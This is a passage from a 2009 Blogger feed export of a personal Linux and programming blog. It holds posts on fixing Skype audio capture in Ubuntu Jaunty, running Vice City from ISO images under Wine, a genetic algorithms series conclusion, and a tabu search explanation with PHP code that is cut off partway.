First of all, open System → Preferences → Sound. Mine looks like this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Sound Events - Sound playback: Autodetect&lt;/li&gt;&lt;li&gt;Music and Movies - Sound playback: Autodetect&lt;/li&gt;&lt;li&gt;Audio Conferencing&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Sound playback: Autodetect&lt;/li&gt;&lt;li&gt;&lt;b&gt;Sound capture&lt;/b&gt;: ALSA - Advanced Linux Sound Architecture, in your case, this may say PulseAudio Sound Server here. However, I have noticed that ALSA seems to record better sound (less garbled, especially with slower computers). Since we're not doing anything unusual with recorded sound (client-server, multiple inputs), I suggest you also pick ALSA here.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;Now right click the sound icon in the panel and pick "Open Volume Control". My device says "HDA Intel (Alsa mixer)". You'll probably need the Alsa mixer as well. I have a few sliders I have to play with:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;In the Playback-tab (yes, here!): Mic Boost&lt;/li&gt;&lt;li&gt;In the Recording-tab: Capture&lt;/li&gt;&lt;li&gt;In the Switches-tab: make sure Microphone Capture is enabled! This was disabled after my Jaunty upgrade. If you're not seeing any relevant sliders or checkboxes, click the Preferences-button and enable all relevant sliders/switches.&lt;/li&gt;&lt;/ul&gt;Now open sound-recorder. You should be able to record sound now. Also, start &lt;tt&gt;pavucontrol&lt;/tt&gt;, and click the Input Devices-tab, the level meter should respond to you clapping your hands for example.&lt;br /&gt;&lt;br /&gt;Hear yourself? No, then try fiddling again with the settings in the previously opened windows before you continue!&lt;br /&gt;&lt;br /&gt;Yes, good, onwards to Skype. Try making a test call. In my case, Skype was still complaining about the audio capture. Let's open Skype's options → Sound Devices.&lt;br /&gt;&lt;br /&gt;In my case, the options were:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sound In: HDA Intel (hw:Intel,0)&lt;/li&gt;&lt;li&gt;Sound Out: pulse&lt;/li&gt;&lt;li&gt;Ringing: pulse&lt;/li&gt;&lt;/ul&gt;Which was working in Intrepid. If you suffer the same problem, read on...&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 2px dashed rgb(204, 204, 204); float: left; margin: 4px; padding: 4px; width: 300px;"&gt;A sidenote, your Sound In device might be either pulse or default as well. There are a few cases when you should use these:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;default: if you've succesfully changed configuration files to make the correct devices the default ones. This will almost never be the case.&lt;/li&gt;&lt;li&gt;pulse: if you're using PulseAudio server for the Sound Capture. But even then, I don't recommend it. Using pulse for Sound In often crashes Skype on my machine...&lt;/li&gt;&lt;/ul&gt;Again, provided when you use a normal Skype (non static, non OSS). &lt;/div&gt;Your Sound Out/Ringing devices are already correct, they need to be pulse. Sound In will be set to an hw-device.&lt;br /&gt;&lt;br /&gt;Before reading further, try making a test call with every listed hw-device (I had four, you can have more or less).&lt;br /&gt;&lt;br /&gt;If none of them are working or if you're sure which hw-device you need (and it isn't working), try this: edit &lt;tt&gt;/etc/pulse/daemon.conf&lt;/tt&gt; (don't forget to sudo) and make sure the following lines are present and uncommented, with the following values:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;default-fragments = 8&lt;br /&gt;default-fragment-size-msec = 5&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;This is an optional step however, but it seems to help with the Skype sound quality (an other option is setting default-fragment-size-msec to 10).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(!) &lt;/b&gt;Now,&amp;nbsp; edit &lt;tt&gt;~/.asoundrc&lt;/tt&gt; (no need to be root here, it's a file in your home directory). And make sure the following lines are there:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;pcm.pulse { type pulse }&lt;br /&gt;ctl.pulse { type pulse }&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Which I totally did in Hardy as well! The update must've deleted them. This simple file seemed to do the trick!&lt;br /&gt;&lt;br /&gt;Then, just to be sure, I reinstalled&amp;nbsp; the &lt;tt&gt;libasound2-plugins&lt;/tt&gt; package.&lt;br /&gt;&lt;br /&gt;Reboot, or restart pulseaudio (kill it, then start it in i.e. a Terminal window). Restart Skype. Skype was working fine now. If it is not, make sure you try every plughw-device.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Still not working, no matter how much you try? You're out of luck. If sound-recorder and sound playback is working, you can try an emergency solution. Install the static, OSS version of Skype (you can find it with Medibuntu or floating around in a tarball somewhere). and start it with:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;padsp skype&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;To route the sounds through the PulseAudio sink. Sound devices in this Skype should all be set to default (or OSS). Calls should work now. Be warned though: always try this as a last resort, routing OSS sound through PulseAudio is slow and bloated, ugly and old. Your record voice will sound like... well, crap.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-7773042447962993120?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/7773042447962993120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/04/ubuntu-jauntu-skype-worked-before-now.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/7773042447962993120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/7773042447962993120'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/04/ubuntu-jauntu-skype-worked-before-now.html' title='Ubuntu Jauntu: Skype Worked Before, Now: &quot;Problem with audio capture&quot;'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-6100237097936534812</id><published>2009-04-28T02:28:00.001+02:00</published><updated>2009-06-23T01:41:55.759+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='device'/><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='arch linux'/><category scheme='http://www.blogger.com/atom/ns#' term='cd'/><category scheme='http://www.blogger.com/atom/ns#' term='mount'/><category scheme='http://www.blogger.com/atom/ns#' term='wine'/><category scheme='http://www.blogger.com/atom/ns#' term='iso'/><category scheme='http://www.blogger.com/atom/ns#' term='vice city'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Vice City (And Perhaps Other Games) In Wine - CD Error With ISO</title><content type='html'>So, you've just gotten yourself two .iso's for Grand Theft Auto: Vice City (your backups, of course), which you want to play in Wine. What do you do?&lt;br /&gt;&lt;br /&gt;That's easy, you say:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;sudo mkdir /media/isoimage&lt;br /&gt;sudo mount -o loop ./cd1.iso /media/isoimage&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;And start the setup with Wine.&lt;br /&gt;&lt;br /&gt;Now the installer asks for the second CD, what do you do? Here we have to "eject" our "cd" first...&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;wine eject&lt;br /&gt;sudo umount /media/isoimage&lt;br /&gt;sudo mount -o loop ./cd2.iso /media/isoimage&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;And we're done. You want to start the game, but it requires the play disk, even although you're sure you've mounted it. Thing is, Vice City isn't looking at your /media/isoimage mount point, but it's looking at your drive letters... where could the cd be?&lt;br /&gt;&lt;br /&gt;Take a look in &lt;tt&gt;~/.wine/dosdevices&lt;/tt&gt; (it's a hidden directory in your home folder). We're going to create two symbolic links there (in my case, there were a lot of symbolic, broken links already there, I deleted every one of them except c: and z:). One for the mount point, and one for the actual device (or in our case: the image).&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;ln -sf /media/isoimage ~/.wine/dosdevices/e:&lt;br /&gt;ln -sf ~/cd2.iso ~/.wine/dosdevices/e::&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Note the double colons (e::) in the second line. That's it, the game should start fine now.&lt;br /&gt;&lt;br /&gt;Be sure to replace &lt;tt&gt;/media/isoimage&lt;/tt&gt;, &lt;tt&gt;e:&lt;/tt&gt;, &lt;tt&gt;e::&lt;/tt&gt;, &lt;tt&gt;~/cd1.iso&lt;/tt&gt;, &lt;tt&gt;~/cd2.iso&lt;/tt&gt; and other displayed paths/locations with the ones relevant for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-6100237097936534812?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/6100237097936534812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/04/vice-city-and-perhaps-other-games-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6100237097936534812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6100237097936534812'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/04/vice-city-and-perhaps-other-games-in.html' title='Vice City (And Perhaps Other Games) In Wine - CD Error With ISO'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-6945191078749117099</id><published>2009-02-05T18:20:00.002+01:00</published><updated>2009-02-05T18:27:10.539+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 7 - Conclusion</title><content type='html'>(This is the final part in the Modern Genetic Algorithms Explained series, click&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;here&lt;/a&gt;&amp;nbsp;to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)&lt;br /&gt;&lt;br /&gt;In the past series, we have looked at genetic algorithms, simulated annealing, ant colony simulation and tabu search. Each method had its pro's and cons, and there certainly is room for exploration left.&lt;br /&gt;&lt;br /&gt;I hope you've enjoyed this series, or that it has at least sparked your interest in the topic.&lt;br /&gt;&lt;br /&gt;Here are a few more (general resources), if you want to know more:&lt;br /&gt;&lt;br /&gt;Other related techniques:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Evolutionary_programming"&gt;Evolutionary programming&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Genetic_programming"&gt;Genetic programming&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Harmony_search"&gt;Harmony search&lt;/a&gt; - this is interesting: it's based on how musicians compose music, also see &lt;a href="http://www.hydroteq.com/"&gt;this website&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Memetic_algorithm"&gt;Memetic algorithms&lt;/a&gt; - a very new and interesting area in evolutionary optimization. It combines a genetic algorithm to the ability of learning (hence the name: "memes")&lt;/li&gt;&lt;li&gt;And &lt;a href="http://en.wikipedia.org/wiki/Genetic_algorithm#Related_techniques"&gt;many more&lt;/a&gt;...&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Books:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.amazon.com/Introduction-Evolutionary-Computing-Natural/dp/3540401849/ref=pd_sim_b_3"&gt;Introduction to Evolutionary Computing&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.amazon.com/Evolutionary-Computation-Kenneth-Jong/dp/0262041944"&gt;Evolutionary Computation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.amazon.com/How-Solve-Heuristics-Zbigniew-Michalewicz/dp/3540660615"&gt;How to Solve It: Modern Heuristics&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gp-field-guide.org.uk/"&gt;A Field Guide to Genetic Programming&lt;/a&gt; (the PDF is free!)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.amazon.com/Genetic-Programming-Computers-Selection-Adaptive/dp/0262111705/ref=pd_bbs_sr_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1230992985&amp;amp;sr=8-1"&gt;Genetic Programming: On the Programming of Computers by Means of Natural Selection&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;A specialized event was held in the USA: Foundations Of Genetic Algorithms. You can find a lot of interesting information on &lt;a href="http://www.sigevo.org/foga-2009/"&gt;their website&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Finally, I want to mention a software project which looks promising: &lt;a href="http://paradiseo.gforge.inria.fr/index.php?n=Paradiseo.Home"&gt;Paradiseo&lt;/a&gt;:&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;A white-box object-oriented framework, portable (Windows, Unix and MacOS), dedicated to the flexible design of metaheuristics: solution-based metaheuristics (Local search, Simulated annealing, Iterated local search, Tabu search, ...) and population-based metaheuristics (Genetic algorithm, Particle swarm optimization, Evolution strategy, Differential evolution algorithms, ...).&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-6945191078749117099?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/6945191078749117099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6945191078749117099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6945191078749117099'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html' title='Modern Genetic (And Other) Algorithms Explained: Part 7 - Conclusion'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-2386548288420339875</id><published>2009-01-29T13:44:00.002+01:00</published><updated>2009-02-05T18:27:02.437+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 6 - Tabu Search</title><content type='html'>(This is part 6 in the Modern Genetic Algorithms Explained series, click &lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;here&lt;/a&gt;&amp;nbsp;to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Tabu_search"&gt;Tabu search&lt;/a&gt; is not really "modern" anymore, but still widely used nonetheless.&lt;br /&gt;&lt;br /&gt;The pseudocode looks like this:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Construct an initial solution&lt;br /&gt;Until timelimit hit or satisfiable solution found do:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Find all neighbours which are not in the tabu list, and calculate their score&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Pick the best neighbour, add the previous solution to the tabu list&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Notice that the "best neighbour" must not be better than the current solution, or than the ever best found solution.&lt;br /&gt;&lt;br /&gt;Maintaining a tabu list can be time and memory consuming,&amp;nbsp;alternatively&amp;nbsp;we could construct a list like this: add the difference between two following solutions to the list (so that they cannot be undone), and keep it in the list for n iterations. N, or the length of the list is important: make it too long and the algorithm might get stuck, make it too short and the algorithm will tend towards local maxima.&lt;br /&gt;&lt;br /&gt;This time, I've coded the example in PHP, I hope nobody minds:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;$target = 300;&lt;br /&gt;&lt;br /&gt;//construct an initial solution&lt;br /&gt;$tabulist = array('ttl' =&amp;gt; array(), 'change' =&amp;gt; array());&lt;br /&gt;$solution = array();&lt;br /&gt;$min = 0;&lt;br /&gt;$max = 100;&lt;br /&gt;for ($i=0;$i&amp;lt;6;$i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$solution[] = rand($min,$max);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;//until solution found&lt;br /&gt;while (true){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$best_neighbour_solution = false;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$best_neighbour_score = 1000;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$best_neighbour_tabu = false;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;for ($position=0;$position&amp;lt;6;$position++){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (!in_array("$position+",$tabulist['change'])&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;and $solution[$position] &amp;lt; $max){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$temp_solution = $solution;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$temp_solution[$position]++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$score = fitness($temp_solution,$target);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($score &amp;lt; $best_neighbour_score){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$best_neighbour_score = $score;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$best_neighbour_solution = $temp_solution;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//make sure this step doesn't get undone&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$best_neighbour_tabu = "$position-";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if(!in_array("$position-",$tabulist['change'])&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;and $solution[$position] &amp;gt; $min){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$temp_solution = $solution;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$temp_solution[$position]--;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$score = fitness($temp_solution,$target);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($score &amp;lt; $best_neighbour_score){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$best_neighbour_score = $score;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$best_neighbour_solution = $temp_solution;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//make sure this step doesn't get undone&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$best_neighbour_tabu = "$position+";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//pick the best neighbour&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$solution = $best_neighbour_solution;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$fitness = fitness($solution,$target);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;echo "Iteration $iterations: fitness = $fitness\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($fitness == 0){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;echo "Perfect solution found:\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print_r($solution);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;die;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//add change to tabu list&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$tabulist['ttl'][$iterations] = 5; //remember for 5 iteration&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$tabulist['change'][$iterations] = $best_neighbour_tabu;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//update the tabulist&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;foreach ($tabulist['ttl'] as $key =&amp;gt; &amp;amp;$val){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$val--;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($val &amp;lt;= 0){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;unset($tabulist['ttl'][$key]);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;unset($tabulist['change'][$key]);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;echo "Iteration $iterations: tabulist now contains "&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.count($tabulist['ttl'])." items \n";&lt;br 